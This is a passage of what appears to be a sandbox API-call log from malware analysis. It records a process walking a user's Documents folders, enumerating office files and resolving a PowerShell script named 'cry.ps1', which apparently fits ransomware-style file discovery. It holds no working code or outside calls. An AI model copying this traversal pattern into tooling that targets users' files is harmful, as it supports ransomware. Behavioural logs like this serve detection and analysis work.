lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\sf_ImUUBUl AFvtD.csv", lpFilePart=0x0) returned 0x39 [0116.193] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.193] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0116.193] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0116.193] FindClose (in: hFindFile=0x8e85238 | out: hFindFile=0x8e85238) returned 1 [0116.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.193] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\sf_ImUUBUl AFvtD.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\sf_imuubul afvtd.csv")) returned 0x20 [0116.194] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt")) returned 0x20 [0116.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ae668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0116.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ae62c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0116.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.194] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt")) returned 0x20 [0116.194] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h")) returned 0x10 [0116.194] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h")) returned 0x10 [0116.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", nBufferLength=0x105, lpBuffer=0x99ae6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0116.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0116.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\", lpFilePart=0x0) returned 0x32 [0116.194] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e852f8 [0116.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.195] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0116.195] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\", lpFilePart=0x0) returned 0x32 [0116.195] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e85838 [0116.195] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.195] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.195] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\.", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", lpFilePart=0x0) returned 0x38 [0116.195] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.195] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\.", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D", lpFilePart=0x0) returned 0x45 [0116.195] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.195] FindNextFileW (in: hFindFile=0x8e852f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0116.195] FindClose (in: hFindFile=0x8e852f8 | out: hFindFile=0x8e852f8) returned 1 [0116.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.196] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.196] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.196] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.196] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.196] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\ZQf2-QQuRGge.xlsx", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\ZQf2-QQuRGge.xlsx", lpFilePart=0x0) returned 0x43 [0116.196] FindNextFileW (in: hFindFile=0x8e85838, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0116.196] FindClose (in: hFindFile=0x8e85838 | out: hFindFile=0x8e85838) returned 1 [0116.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.197] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb")) returned 0x10 [0116.197] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb")) returned 0x10 [0116.197] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", nBufferLength=0x105, lpBuffer=0x99ae630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", lpFilePart=0x0) returned 0x38 [0116.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.197] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", nBufferLength=0x105, lpBuffer=0x99ae57c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", lpFilePart=0x0) returned 0x38 [0116.197] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\", nBufferLength=0x105, lpBuffer=0x99ae550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\", lpFilePart=0x0) returned 0x39 [0116.197] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\*", lpFindFileData=0x99ae79c | out: lpFindFileData=0x99ae79c) returned 0x8e857f8 [0116.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.197] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", nBufferLength=0x105, lpBuffer=0x99ae57c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", lpFilePart=0x0) returned 0x38 [0116.197] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\", nBufferLength=0x105, lpBuffer=0x99ae550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\", lpFilePart=0x0) returned 0x39 [0116.197] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\*", lpFindFileData=0x99ae79c | out: lpFindFileData=0x99ae79c) returned 0x8e856b8 [0116.198] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.198] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.198] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\.", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO", lpFilePart=0x0) returned 0x4b [0116.198] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.198] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.198] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.198] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.198] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\.", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", lpFilePart=0x0) returned 0x4c [0116.198] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.199] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.199] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 0 [0116.199] FindClose (in: hFindFile=0x8e857f8 | out: hFindFile=0x8e857f8) returned 1 [0116.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.199] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.199] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.199] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.199] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0116.199] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.200] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\qiCibO.odt", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\qiCibO.odt", lpFilePart=0x0) returned 0x43 [0116.200] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.200] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\sbC2klWjcF2ua6Mf.ods", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\sbC2klWjcF2ua6Mf.ods", lpFilePart=0x0) returned 0x4d [0116.200] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.200] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.200] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\Uol hoYwk gyNkfYPOCU.docx", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\Uol hoYwk gyNkfYPOCU.docx", lpFilePart=0x0) returned 0x52 [0116.200] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.200] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\_ESS.docx", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\_ESS.docx", lpFilePart=0x0) returned 0x42 [0116.200] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 0 [0116.200] FindClose (in: hFindFile=0x8e856b8 | out: hFindFile=0x8e856b8) returned 1 [0116.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.201] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\7j0o3jr2y2-jpjktvo")) returned 0x10 [0116.201] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\7j0o3jr2y2-jpjktvo")) returned 0x10 [0116.201] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO", nBufferLength=0x105, lpBuffer=0x99ae5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO", lpFilePart=0x0) returned 0x4b [0116.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.201] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO", nBufferLength=0x105, lpBuffer=0x99ae4fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO", lpFilePart=0x0) returned 0x4b [0116.201] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\", nBufferLength=0x105, lpBuffer=0x99ae4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\", lpFilePart=0x0) returned 0x4c [0116.201] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\*", lpFindFileData=0x99ae71c | out: lpFindFileData=0x99ae71c) returned 0x8e854f8 [0116.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.201] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO", nBufferLength=0x105, lpBuffer=0x99ae4fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO", lpFilePart=0x0) returned 0x4b [0116.202] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\", nBufferLength=0x105, lpBuffer=0x99ae4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\", lpFilePart=0x0) returned 0x4c [0116.202] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\*", lpFindFileData=0x99ae71c | out: lpFindFileData=0x99ae71c) returned 0x8e85238 [0116.202] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.202] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.202] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.202] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.202] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.202] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.202] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 0 [0116.202] FindClose (in: hFindFile=0x8e854f8 | out: hFindFile=0x8e854f8) returned 1 [0116.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.202] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.202] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.202] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\782vgtE.rtf", nBufferLength=0x105, lpBuffer=0x99ae4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\782vgtE.rtf", lpFilePart=0x0) returned 0x57 [0116.203] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.203] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\Ip33DG.ods", nBufferLength=0x105, lpBuffer=0x99ae4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\Ip33DG.ods", lpFilePart=0x0) returned 0x56 [0116.203] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.203] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\LQx82MhWGExoezE9ekMW.pps", nBufferLength=0x105, lpBuffer=0x99ae4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\LQx82MhWGExoezE9ekMW.pps", lpFilePart=0x0) returned 0x64 [0116.203] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.203] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\mXGaMzeioU6.rtf", nBufferLength=0x105, lpBuffer=0x99ae4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\mXGaMzeioU6.rtf", lpFilePart=0x0) returned 0x5b [0116.203] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.203] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\Roj7jqkGyK95ud.odp", nBufferLength=0x105, lpBuffer=0x99ae4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\Roj7jqkGyK95ud.odp", lpFilePart=0x0) returned 0x5e [0116.203] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 0 [0116.203] FindClose (in: hFindFile=0x8e85238 | out: hFindFile=0x8e85238) returned 1 [0116.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.203] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\782vgtE.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\7j0o3jr2y2-jpjktvo\\782vgte.rtf")) returned 0x20 [0116.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\Ip33DG.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\7j0o3jr2y2-jpjktvo\\ip33dg.ods")) returned 0x20 [0116.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\LQx82MhWGExoezE9ekMW.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\7j0o3jr2y2-jpjktvo\\lqx82mhwgexoeze9ekmw.pps")) returned 0x20 [0116.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\mXGaMzeioU6.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\7j0o3jr2y2-jpjktvo\\mxgamzeiou6.rtf")) returned 0x20 [0116.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\7j0o3Jr2Y2-jpjkTVO\\Roj7jqkGyK95ud.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\7j0o3jr2y2-jpjktvo\\roj7jqkgyk95ud.odp")) returned 0x20 [0116.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt" (normalized: 